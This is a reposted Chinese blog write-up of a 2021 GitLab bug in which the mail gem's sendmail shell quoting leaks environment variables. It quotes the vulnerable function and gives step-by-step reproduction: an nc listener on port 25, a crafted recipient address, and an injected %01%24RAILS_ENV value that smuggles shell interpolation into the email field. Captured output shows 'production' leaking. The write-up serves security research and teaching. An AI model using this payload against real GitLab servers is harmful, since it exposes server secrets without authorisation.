gitlab漏洞系列-环境变量泄露
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
背景
vakzz大佬于2021年8月提交了这个漏洞: gitlab omnibus版本默认使用:sendmail作为电子邮件的发送方法。ActionMailer依赖于邮件v2.7.1:https://gitlab.com/gitlab-org/gitlab/-/blob/v14.1.1-ee/Gemfile.lock#L1546当:sendmail被用作传递方法时,/usr/sbin/sendmail将通过以下函数调用address:https://github.com/mikel/mail/blob/2.7.1/lib/mail/network/delivery_methods/sendmail.rb#L85-L93
def self.shellquote(address)
# Process as a single byte sequence because not all shell
# implementations are multibyte aware.
#
# A LF cannot be escaped with a backslash because a backslash + LF
# combo is regarded as line continuation and simply ignored. Strip it.
escaped = address.gsub(/([^A-Za-z0-9_\s\+\-.,:\/@~])/n, "\\\\\\1").gsub("\n", '')
%("#{escaped}")
end
在bash中有一个长期存在的问题,后面跟着一个\001
字符可能会导致插值问题(https://lists.gnu.org/archive/html/bug-bash/2007-03/msg00065.html);
复现步骤
1.使用类似vagrant/virtualbox的应用来创建一个CentOS 8虚拟机或启动一个vps;
2.按照说明安装gitlab https://about.gitlab.com/install/#centos-8。
3.步骤1和2,安装 docker也可以使用,如果运行dpkg-reconfigure dash
并禁用dash作为默认的系统shell;
4.在某个可以访问ip的终端输入:
echo -e '200 ok\n200 ok\n200 ok\n200 ok\n200 ok\n200 ok\n' | sudo nc -vl 25
5.登陆gitlab并创建一个项目
6.跳转至Settings -> Integrations -> Emails on push
7.打开Burp或打开在Chrome浏览器中的网络标签;
8.在收件人中输入user+test@111.111.111.111.getmoss.site
,将111.111.111.111
替换为运行nc的机器的ip
9.确保推送到存储库的触发事件,选中并按下保存
10.要么在burp中编辑请求,要么从network选项卡复制为curl,并将电子邮件中的测试更改为%01%24RAILS_ENV
,然后运行请求
11.编辑或向项目添加文件
12.应该在nc中的to address中看到环境变量:
$ echo -e '200 ok\n200 ok\n200 ok\n200 ok\n200 ok\n200 ok\n' | sudo nc -vl 25
Listening on [103.xxx.xxx.xxx] (family 0, port 25)
Connection from [45.xxx.xxx.xxx] port 25 [tcp/smtp] accepted (family 2, sport 53932)
EHLO localhost.localdomain
MAIL FROM:<gitlab@gitlab.testing>
RCPT TO:<"will+production"[@]103.xxx.xxx.xxx.getmoss.site>
DATA
RSET
QUIT
转载自:迪哥讲事
Comments NOTHING